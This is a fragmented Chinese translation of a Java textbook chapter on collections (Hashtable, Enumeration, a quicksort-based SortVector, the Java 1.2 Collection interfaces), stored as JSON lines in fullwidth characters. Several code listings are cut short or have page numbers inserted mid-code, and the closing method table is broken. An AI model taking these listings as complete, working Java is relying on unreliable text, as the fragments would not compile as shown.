    {"text": "ｃｌａｓｓ Ｇｒｏｕｎｄｈｏｇ２ ｛ ｉｎｔ ｇｈＮｕｍｂｅｒ； Ｇｒｏｕｎｄｈｏｇ２（ｉｎｔ ｎ） ｛ ｇｈＮｕｍｂｅｒ ＝ ｎ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｈａｓｈＣｏｄｅ（） ｛ ｒｅｔｕｒｎ ｇｈＮｕｍｂｅｒ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｅｑｕａｌｓ（Ｏｂｊｅｃｔ ｏ） ｛ ｒｅｔｕｒｎ （ｏ ｉｎｓｔａｎｃｅｏｆ Ｇｒｏｕｎｄｈｏｇ２） ＆＆ （ｇｈＮｕｍｂｅｒ ＝＝ （（Ｇｒｏｕｎｄｈｏｇ２）ｏ）．ｇｈＮｕｍｂｅｒ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｐｒｉｎｇＤｅｔｅｃｔｏｒ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｈａｓｈｔａｂｌｅ ｈｔ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｈｔ．ｐｕｔ（ｎｅｗ Ｇｒｏｕｎｄｈｏｇ２（ｉ），ｎｅｗ Ｐｒｅｄｉｃｔｉｏｎ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｈｔ ＝ ＂ ＋ ｈｔ ＋ ＂＼ｎ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｌｏｏｋｉｎｇ ｕｐ ｐｒｅｄｉｃｔｉｏｎ ｆｏｒ ｇｒｏｕｎｄｈｏｇ ＃３：＂）； Ｇｒｏｕｎｄｈｏｇ２ ｇｈ ＝ ｎｅｗ Ｇｒｏｕｎｄｈｏｇ２（３）； ｉｆ（ｈｔ．ｃｏｎｔａｉｎｓＫｅｙ（ｇｈ）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（（Ｐｒｅｄｉｃｔｉｏｎ）ｈｔ．ｇｅｔ（ｇｈ））；"},
    {"text": "｝ ｝ ／／／：￣ 注意这段代码使用了来自前一个例子的 Ｐｒｅｄｉｃｔｉｏｎ，所以 ＳｐｒｉｎｇＤｅｔｅｃｔｏｒ．ｊａｖａ 必须首先编译，否则就会在 试图编译 ＳｐｒｉｎｇＤｅｔｅｃｔｏｒ２．ｊａｖａ 时得到一个编译期错误。"},
    {"text": "Ｇｒｏｕｎｄｈｏｇ２．ｈａｓｈＣｏｄｅ（）将土拔鼠号码作为一个标识符返回（在这个例子中，程序员需要保证没有两个土拔鼠 用同样的 ＩＤ 号码并存）。"},
    {"text": "ｅｑｕａｌｓ（）方法要进行两种检查：检查对象是否为 ｎｕｌｌ； 若不为 ｎｕｌｌ ，则继续检查是否为 Ｇｒｏｕｎｄｈｏｇ２ 的一个 实例（要用到 ｉｎｓｔａｎｃｅｏｆ 关键字，第 １１ 章会详加论述）。"},
    {"text": "这一次一旦我们运行程序，就 会看到它终于产生了正确的输出（许多 Ｊａｖａ 库的类都覆盖了 ｈａｓｈｃｏｄｅ（） 和 ｅｑｕａｌｓ（）方法，以便与自己提供 的内容适应）。"},
    {"text": "２． 属性：Ｈａｓｈｔａｂｌｅ 的一种类型 在本书的第一个例子中，我们使用了一个名为 Ｐｒｏｐｅｒｔｉｅｓ（属性）的 Ｈａｓｈｔａｂｌｅ 类型。"},
    {"text": "调用了一个名为 ｇｅｔＰｒｏｐｅｒｔｉｅｓ（）的 ｓｔａｔｉｃ 方法，用于获得一个特殊的 Ｐｒｏｐｅｒｔｉｅｓ 对象，对系统的某些特 征进行描述。"},
    {"text": "８ ． ４ ． ５ 再论枚举器 我们现在可以开始演示 Ｅｎｕｍｅｒａｔｉｏｎ（枚举）的真正威力：将穿越一个序列的操作与那个序列的基础结构分 隔开。"},
    {"text": "由于 Ｅｎｕｍｅｒａｔｉｏｎ 隐藏了基层集合的结构，所以 ＰｒｉｎｔＤａｔａ 不知道或者不关心 Ｅｎｕｍｅｒａｔｉｏｎ 来自于什么类型的集合： ／／： Ｅｎｕｍｅｒａｔｏｒｓ２．ｊａｖａ ／／ Ｒｅｖｉｓｉｔｉｎｇ Ｅｎｕｍｅｒａｔｉｏｎｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ ＰｒｉｎｔＤａｔａ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｅｎｕｍｅｒａｔｉｏｎ ｅ） ｛ ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）．ｔｏＳｔｒｉｎｇ（））； ｝ ｝ ｃｌａｓｓ Ｅｎｕｍｅｒａｔｏｒｓ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ５； ｉ＋＋） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｍｏｕｓｅ（ｉ））； Ｈａｓｈｔａｂｌｅ ｈ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ５； ｉ＋＋） ｈ．ｐｕｔ（ｎｅｗ Ｉｎｔｅｇｅｒ（ｉ）， ｎｅｗ Ｈａｍｓｔｅｒ（ｉ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｖｅｃｔｏｒ＂）； ＰｒｉｎｔＤａｔａ．ｐｒｉｎｔ（ｖ．ｅｌｅｍｅｎｔｓ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｈａｓｈｔａｂｌｅ＂）； ＰｒｉｎｔＤａｔａ．ｐｒｉｎｔ（ｈ．ｅｌｅｍｅｎｔｓ（））；"},
    {"text": "｝ ｝ ／／／：￣ 注意 ＰｒｉｎｔＤａｔａ．ｐｒｉｎｔ（）利用了这些集合中的对象属于 Ｏｂｊｅｃｔ 类这一事实，所以它调用了 ｔｏＳｔｒｉｎｇ（）。"},
    {"text": "若出现这种情况，必须从 Ｅｎｕｍｅｒａｔｉｏｎ．ｎｅｘｔＥｌｅｍｅｎｔ（）返回的 Ｏｂｊｅｃｔ 进行下溯造型，以便产生一个 Ｓｈａｐｅ。"},
    {"text": "下面这个“接口”（Ｉｎｔｅｒｆａｃｅ）展示了如何比较两个对象，它将那些“要发生变化的东西”封装在内： ／／： Ｃｏｍｐａｒｅ．ｊａｖａ ／／ Ｉｎｔｅｒｆａｃｅ ｆｏｒ ｓｏｒｔｉｎｇ ｃａｌｌｂａｃｋ： ｐａｃｋａｇｅ ｃ０８；"},
    {"text": "ｉｎｔｅｒｆａｃｅ Ｃｏｍｐａｒｅ ｛ ｂｏｏｌｅａｎ ｌｅｓｓＴｈａｎ（Ｏｂｊｅｃｔ ｌｈｓ， Ｏｂｊｅｃｔ ｒｈｓ）； ｂｏｏｌｅａｎ ｌｅｓｓＴｈａｎＯｒＥｑｕａｌ（Ｏｂｊｅｃｔ ｌｈｓ， Ｏｂｊｅｃｔ ｒｈｓ）；"},
    {"text": "欲知详情，可参考 Ｂｉｎｓｔｏｃｋ 和 Ｒｅｘ 编著的《Ｐｒａｃｔｉｃａｌ Ａｌｇｏｒｉｔｈｍｓ ｆｏｒ Ｐｒｏｇｒａｍｍｅｒｓ》， 由 Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 于 １９９５ 年出版。"},
    {"text": "／／： ＳｏｒｔＶｅｃｔｏｒ．ｊａｖａ ／／ Ａ ｇｅｎｅｒｉｃ ｓｏｒｔｉｎｇ ｖｅｃｔｏｒ ｐａｃｋａｇｅ ｃ０８； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｏｒｔＶｅｃｔｏｒ ｅｘｔｅｎｄｓ Ｖｅｃｔｏｒ ｛ ｐｒｉｖａｔｅ Ｃｏｍｐａｒｅ ｃｏｍｐａｒｅ； ／／ Ｔｏ ｈｏｌｄ ｔｈｅ ｃａｌｌｂａｃｋ ｐｕｂｌｉｃ ＳｏｒｔＶｅｃｔｏｒ（Ｃｏｍｐａｒｅ ｃｏｍｐ） ｛ ｃｏｍｐａｒｅ ＝ ｃｏｍｐ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｏｒｔ（） ｛ ｑｕｉｃｋＳｏｒｔ（０， ｓｉｚｅ（） － １）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｑｕｉｃｋＳｏｒｔ（ｉｎｔ ｌｅｆｔ， ｉｎｔ ｒｉｇｈｔ） ｛ ｉｆ（ｒｉｇｈｔ ＞ ｌｅｆｔ） ｛ Ｏｂｊｅｃｔ ｏ１ ＝ ｅｌｅｍｅｎｔＡｔ（ｒｉｇｈｔ）； ｉｎｔ ｉ ＝ ｌｅｆｔ － １； ｉｎｔ ｊ ＝ ｒｉｇｈｔ； ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｗｈｉｌｅ（ｃｏｍｐａｒｅ．ｌｅｓｓＴｈａｎ（ ｅｌｅｍｅｎｔＡｔ（＋＋ｉ）， ｏ１）） ； ｗｈｉｌｅ（ｊ ＞ ０） ｉｆ（ｃｏｍｐａｒｅ．ｌｅｓｓＴｈａｎＯｒＥｑｕａｌ（ ｅｌｅｍｅｎｔＡｔ（－－ｊ）， ｏ１）） ２２９ ｂｒｅａｋ； ／／ ｏｕｔ ｏｆ ｗｈｉｌｅ ｉｆ（ｉ ＞＝ ｊ） ｂｒｅａｋ； ｓｗａｐ（ｉ， ｊ）； ｝ ｓｗａｐ（ｉ ， ｒｉｇｈｔ）； ｑｕｉｃｋＳｏｒｔ（ｌｅｆｔ， ｉ－１）； ｑｕｉｃｋＳｏｒｔ（ｉ＋１， ｒｉｇｈｔ）； ｝ ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｓｗａｐ（ｉｎｔ ｌｏｃ１， ｉｎｔ ｌｏｃ２） ｛ Ｏｂｊｅｃｔ ｔｍｐ ＝ ｅｌｅｍｅｎｔＡｔ（ｌｏｃ１）； ｓｅｔＥｌｅｍｅｎｔＡｔ（ｅｌｅｍｅｎｔＡｔ（ｌｏｃ２）， ｌｏｃ１）； ｓｅｔＥｌｅｍｅｎｔＡｔ（ｔｍｐ， ｌｏｃ２）；"},
    {"text": "下面是针对 Ｓｔｒｉｎｇ 对象的一个例子： ／／： ＳｔｒｉｎｇＳｏｒｔＴｅｓｔ．ｊａｖａ ／／ Ｔｅｓｔｉｎｇ ｔｈｅ ｇｅｎｅｒｉｃ ｓｏｒｔｉｎｇ Ｖｅｃｔｏｒ ｐａｃｋａｇｅ ｃ０８；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＳｔｒｉｎｇＳｏｒｔＴｅｓｔ ｛ ｓｔａｔｉｃ ｃｌａｓｓ ＳｔｒｉｎｇＣｏｍｐａｒｅ ｉｍｐｌｅｍｅｎｔｓ Ｃｏｍｐａｒｅ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｌｅｓｓＴｈａｎ（Ｏｂｊｅｃｔ ｌ， Ｏｂｊｅｃｔ ｒ） ｛ ｒｅｔｕｒｎ （（Ｓｔｒｉｎｇ）ｌ）．ｔｏＬｏｗｅｒＣａｓｅ（）．ｃｏｍｐａｒｅＴｏ（ （（Ｓｔｒｉｎｇ）ｒ）．ｔｏＬｏｗｅｒＣａｓｅ（）） ＜ ０； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｌｅｓｓＴｈａｎＯｒＥｑｕａｌ（Ｏｂｊｅｃｔ ｌ， Ｏｂｊｅｃｔ ｒ） ｛ ｒｅｔｕｒｎ （（Ｓｔｒｉｎｇ）ｌ）．ｔｏＬｏｗｅｒＣａｓｅ（）．ｃｏｍｐａｒｅＴｏ（ （（Ｓｔｒｉｎｇ）ｒ）．ｔｏＬｏｗｅｒＣａｓｅ（）） ＜＝ ０； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＳｏｒｔＶｅｃｔｏｒ ｓｖ ＝ ｎｅｗ ＳｏｒｔＶｅｃｔｏｒ（ｎｅｗ ＳｔｒｉｎｇＣｏｍｐａｒｅ（））； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ｄ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ａ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ｃ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ｃ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ｂ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ｂ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ｄ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ａ＂）； ｓｖ．ｓｏｒｔ（）； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｓｖ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ２３０ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））；"},
    {"text": "大家可以看到，一旦设置好框架，就可以非常方便地重复使用象这样的一个设计——只需简单地写一个类， 将“需要发生变化”的东西封装进去，然后将一个对象传给 ＳｏｒｔＶｅｃｔｏｒ 即可。"},
    {"text": "但这通常不是一个大问题，因为经常处理的都是更长的字串，所以上述效果不会显露 出来（Ｊａｖａ １．２ 的集合提供了排序功能，已解决了这个问题）。"},
    {"text": "继承（ｅｘｔｅｎｄｓ）在这儿用于创建一种新类型的 Ｖｅｃｔｏｒ——也就是说，ＳｏｒｔＶｅｃｔｏｒ 属于一种 Ｖｅｃｔｏｒ，并带有 一些附加的功能。"},
    {"text": "因为 ａｄｄＥｌｅｍｅｎｔ（）和 ｅｌｅｍｅｎｔＡｔ（）都具有 ｆｉｎａｌ 属性，而且它们都是我们必须覆盖的方法，否 则便无法实现只能接收和产生 Ｓｔｒｉｎｇ 对象。"},
    {"text": "如下所示： ／／： ＳｔｒＳｏｒｔＶｅｃｔｏｒ．ｊａｖａ ／／ Ａｕｔｏｍａｔｉｃａｌｌｙ ｓｏｒｔｅｄ Ｖｅｃｔｏｒ ｔｈａｔ ／／ ａｃｃｅｐｔｓ ａｎｄ ｐｒｏｄｕｃｅｓ ｏｎｌｙ Ｓｔｒｉｎｇｓ ｐａｃｋａｇｅ ｃ０８； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｔｒＳｏｒｔＶｅｃｔｏｒ ｛ ｐｒｉｖａｔｅ ＳｏｒｔＶｅｃｔｏｒ ｖ ＝ ｎｅｗ ＳｏｒｔＶｅｃｔｏｒ（ ／／ Ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ： ｎｅｗ Ｃｏｍｐａｒｅ（） ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｌｅｓｓＴｈａｎ（Ｏｂｊｅｃｔ ｌ， Ｏｂｊｅｃｔ ｒ） ｛ ｒｅｔｕｒｎ （（Ｓｔｒｉｎｇ）ｌ）．ｔｏＬｏｗｅｒＣａｓｅ（）．ｃｏｍｐａｒｅＴｏ（ （（Ｓｔｒｉｎｇ）ｒ）．ｔｏＬｏｗｅｒＣａｓｅ（）） ＜ ０； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｌｅｓｓＴｈａｎＯｒＥｑｕａｌ（Ｏｂｊｅｃｔ ｌ， Ｏｂｊｅｃｔ ｒ） ｛ ｒｅｔｕｒｎ （（Ｓｔｒｉｎｇ）ｌ）．ｔｏＬｏｗｅｒＣａｓｅ（）．ｃｏｍｐａｒｅＴｏ（ （（Ｓｔｒｉｎｇ）ｒ）．ｔｏＬｏｗｅｒＣａｓｅ（）） ＜＝ ０；"},
    {"text": "ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｏｒｔｅｄ ＝ ｆａｌｓｅ； ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＥｌｅｍｅｎｔ（Ｓｔｒｉｎｇ ｓ） ｛ ｖ．ａｄｄＥｌｅｍｅｎｔ（ｓ）； ｓｏｒｔｅｄ ＝ ｆａｌｓｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｅｌｅｍｅｎｔＡｔ（ｉｎｔ ｉｎｄｅｘ） ｛ ｉｆ（！ ｓｏｒｔｅｄ） ｛ ｖ．ｓｏｒｔ（）； ２３１ ｓｏｒｔｅｄ ＝ ｔｒｕｅ； ｝ ｒｅｔｕｒｎ （Ｓｔｒｉｎｇ）ｖ．ｅｌｅｍｅｎｔＡｔ（ｉｎｄｅｘ）； ｝ ｐｕｂｌｉｃ Ｅｎｕｍｅｒａｔｉｏｎ ｅｌｅｍｅｎｔｓ（） ｛ ｉｆ（！ ｓｏｒｔｅｄ） ｛ ｖ．ｓｏｒｔ（）； ｓｏｒｔｅｄ ＝ ｔｒｕｅ； ｝ ｒｅｔｕｒｎ ｖ．ｅｌｅｍｅｎｔｓ（）； ｝ ／／ Ｔｅｓｔ ｉｔ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＳｔｒＳｏｒｔＶｅｃｔｏｒ ｓｖ ＝ ｎｅｗ ＳｔｒＳｏｒｔＶｅｃｔｏｒ（）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ｄ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ａ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ｃ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ｃ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ｂ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ｂ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂Ｄ＂）； ｓｖ．ａｄｄＥｌｅｍｅｎｔ（＂ａ＂）； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｓｖ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））；"},
    {"text": "这种除非绝对必要，否则就不采取行动的方法叫作“懒惰求值”（还有一种类似的技术叫作“懒惰初始 化”——除非真的需要一个字段值，否则不进行初始化）。"},
    {"text": "Ｃ＋＋出色的一个地方就是它的库，特别是“标准模板库”（ＳＴＬ） 提供了一套相当完整的集合，以及许多象排序和检索这样的算法，可以非常方便地对那些集合进行操作。"},
    {"text": "有 感这一现状，并以这个模型为基础，ＯｂｊｅｃｔＳｐａｃｅ 公司设计了 Ｊａｖａ 版本的“通用集合库”（从前叫作“Ｊａｖａ 通用库”，即 ＪＧＬ；"},
    {"text": "ＪＧＬ 实现了许多功能，可满足对一个集合库的大多数 ２３２ 常规需求，它与 Ｃ＋＋的模板机制非常相似。 ＪＧＬ 包括相互链接起来的列表、设置、队列、映射、堆栈、序列以 及反复器，它们的功能比 Ｅｎｕｍｅｒａｔｉｏｎ（枚举）强多了。"},
    {"text": "我认为新设计的集合是 Ｊａｖａ １．２ 中 两项最主要的特性之一（另一项是 Ｓｗｉｎｇ 库，将在第 １３ 章叙述），因为它们极大方便了我们的编程，也使 Ｊａｖａ 变成一种更成熟的编程系统。"},
    {"text": "有些名字进行了修改，更接近于通俗：我感觉特别好的一个是用“反复器” （Ｉｎｅｒａｔｏｒ ）代替了“枚举”（Ｅｎｕｍｅｒａｔｉｏｎ）。"},
    {"text": "新集合库的设计者则希望达到一种新的平衡：实现人们希望从一个成熟集合库上 获得的完整功能，同时又要比 ＳＴＬ 和其他类似的集合库更易学习和使用。"},
    {"text": "新的集合库考虑到了“容纳自己对象”的问题，并将其分割成两个明确的概念： （１） 集合（Ｃｏｌｌｅｃｔｉｏｎ）：一组单独的元素，通常应用了某种规则。"},
    {"text": "和数组相似，Ｍａｐ 可方便扩充到多个“维”，毋需涉及任何新概念。 只需简单地在一 个 Ｍａｐ 里包含其他 Ｍａｐ（后者又可以包含更多的 Ｍａｐ，以此类推）。"},
    {"text": "下面列出的是一个帮助大家理解的新集合示 意图： ２３３ 这张图刚开始的时候可能让人有点儿摸不着头脑，但在通读了本章以后，相信大家会真正理解它实际只有三 个集合组件：Ｍａｐ，Ｌｉｓｔ 和 Ｓｅｔ。"},
    {"text": "虚线框代表“接口”，点线框代表“抽象”类，而实线框代表普通（实际）类。 点线箭头表示一个特定的类 准备实现一个接口（在抽象类的情况下，则是“部分”实现一个接口）。 双线箭头表示一个类可生成箭头指 向的那个类的对象。"},
    {"text": "例如，任何集合都可以生成一个反复器（Ｉｔｅｒａｔｏｒ），而一个列表可以生成一个 ＬｉｓｔＩｔｅｒａｔｏｒ（以及原始的反复器，因为列表是从集合继承的）。"},
    {"text": "使用接口的好处就是一旦决定改变自己的实施细节，要做的全部事情就是在创建的时候改变它，就象下 面这样： Ｌｉｓｔ ｘ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）；"},
    {"text": "下面是一个简单的例子，它用 Ｓｔｒｉｎｇ 对象填充一个集合，然后打印出集合内的每一个元素： ／／： ＳｉｍｐｌｅＣｏｌｌｅｃｔｉｏｎ．ｊａｖａ ／／ Ａ ｓｉｍｐｌｅ ｅｘａｍｐｌｅ ｕｓｉｎｇ ｔｈｅ ｎｅｗ Ｃｏｌｌｅｃｔｉｏｎｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｉｍｐｌｅＣｏｌｌｅｃｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｌｌｅｃｔｉｏｎ ｃ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｃ．ａｄｄ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ））； Ｉｔｅｒａｔｏｒ ｉｔ ＝ ｃ．ｉｔｅｒａｔｏｒ（）； ｗｈｉｌｅ（ｉｔ．ｈａｓＮｅｘｔ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｔ．ｎｅｘｔ（））；"},
    {"text": "｝ ｝ ／／／：￣ 新集合库的所有代码示例都置于子目录 ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ 下，这样便可提醒自己这些工作只对于 Ｊａｖａ １．２ 有 效。"},
    {"text": "这样一来，我们必须用下述代码来调用程序： ｊａｖａ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ．ＳｉｍｐｌｅＣｏｌｌｅｃｔｉｏｎ 采用的语法与其他程序是差不多的。"},
    {"text": "反复器其实就象一个“枚举” （Ｅｎｕｍｅｒａｔｉｏｎ），是后者的一个替代物，只是： （１） 它采用了一个历史上默认、而且早在 ＯＯＰ 中得到广泛采纳的名字（反复器）。"},
    {"text": "（２） 采用了比 Ｅｎｕｍｅｒａｔｉｏｎ 更短的名字：ｈａｓＮｅｘｔ（）代替了 ｈａｓＭｏｒｅＥｌｅｍｅｎｔ（），而 ｎｅｘｔ（）代替了 ｎｅｘｔＥｌｅｍｅｎｔ（）。"},
    {"text": "８ ． ７ ． １ 使用 Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ｓ 下面这张表格总结了用一个集合能做的所有事情（亦可对 Ｓｅｔ 和 Ｌｉｓｔ 做同样的事情，尽管 Ｌｉｓｔ 还提供了一 些额外的功能）。"},
    {"text": "Ｂ ｏ ｏ ｌ ｅ ａ ｎ ａ ｄ ｄ （ Ｏ ｂ ｊ ｅ ｃ ｔ ） ＊Ｅｎｓｕｒｅｓ ｔｈａｔ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ ｃｏｎｔａｉｎｓ ｔｈｅ ａｒｇｕｍｅｎｔ． Ｒｅｔｕｒｎｓ ｆａｌｓｅ ｉｆ ｉｔ ｄｏｅｓｎ ’ｔ ａｄｄ ｔｈ ｅ ａｒｇｕｍｅｎｔ． Ｂ ｏ ｏ ｌ ｅ ａ ｎ ＊Ａｄｄｓ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ． Ｒｅｔｕｒｎｓ ｔｒｕｅ ｉｆ ａｎｙ ｅｌｅｍｅｎｔｓ ａ ｄ ｄ Ａ ｌ ｌ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） ｗｅｒｅ ａｄｄｅｄ． ｖ ｏ ｉ ｄ ｃ ｌ ｅ ａ ｒ （ ） ＊Ｒｅｍｏｖｅｓ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ． Ｂｏｏｌｅａｎ ｃｏｎｔａｉｎｓ（Ｏｂｊｅｃｔ） Ｔｒｕｅ ｉｆ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ ｃｏｎｔａｉｎｓ ｔｈｅ ａｒｇｕｍｅｎｔ． Ｂ ｏ ｏ ｌ ｅ ａ ｎ Ｔｒｕｅ ｉｆ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ ｃｏｎｔａｉｎｓ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ． ２３５ ｃ ｏ ｎ ｔ ａ ｉ ｎ ｓ Ａ ｌ ｌ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） Ｂ ｏ ｏ ｌ ｅ ａ ｎ ｉ ｓ Ｅ ｍ ｐ ｔ ｙ （ ） Ｔｒｕｅ ｉｆ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ ｈａｓ ｎｏ ｅｌｅｍｅｎｔｓ． Ｉ ｔ ｅ ｒ ａ ｔ ｏ ｒ ｉ ｔ ｅ ｒ ａ ｔ ｏ ｒ （ ） Ｒｅｔｕｒｎｓ ａｎ Ｉｔｅｒａｔｏｒ ｔｈａｔ ｙｏｕ ｃａｎ ｕｓｅ ｔｏ ｍｏｖｅ ｔｈｒｏｕｇｈ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ． Ｂ ｏ ｏ ｌ ｅ ａ ｎ ｒ ｅ ｍ ｏ ｖ ｅ （ Ｏ ｂ ｊ ｅ ｃ ｔ ） ＊Ｉｆ ｔｈｅ ａｒｇｕｍｅｎｔ ｉｓ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ， ｏｎｅ ｉｎｓｔａｎｃｅ ｏｆ ｔｈａｔ ｅｌｅｍｅｎｔ ｉｓ ｒｅｍｏｖｅｄ． Ｒｅｔｕｒｎｓ ｔｒｕｅ ｉｆ ａ ｒｅｍｏｖａｌ ｏｃｃｕｒｒｅｄ． Ｂ ｏ ｏ ｌ ｅ ａ ｎ ＊Ｒｅｍｏｖｅｓ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｔｈａｔ ａｒｅ ｃｏｎｔａｉｎｅｄ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ． ｒ ｅ ｍ ｏ ｖ ｅ Ａ ｌ ｌ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） Ｒｅｔｕｒｎｓ ｔｒｕｅ ｉｆ ａｎｙ ｒｅｍｏｖａｌｓ ｏｃｃｕｒｒｅｄ． Ｂ ｏ ｏ ｌ ｅ ａ ｎ ＊Ｒｅｔａｉｎｓ ｏｎｌｙ ｅｌｅｍｅｎｔｓ ｔｈａｔ ａｒｅ ｃｏｎｔａｉｎｅｄ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ （ａｎ ｒ ｅ ｔ ａ ｉ ｎ Ａ ｌ ｌ （ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ） “ｉｎｔｅｒｓｅｃｔｉｏｎ” ｆｒｏｍ 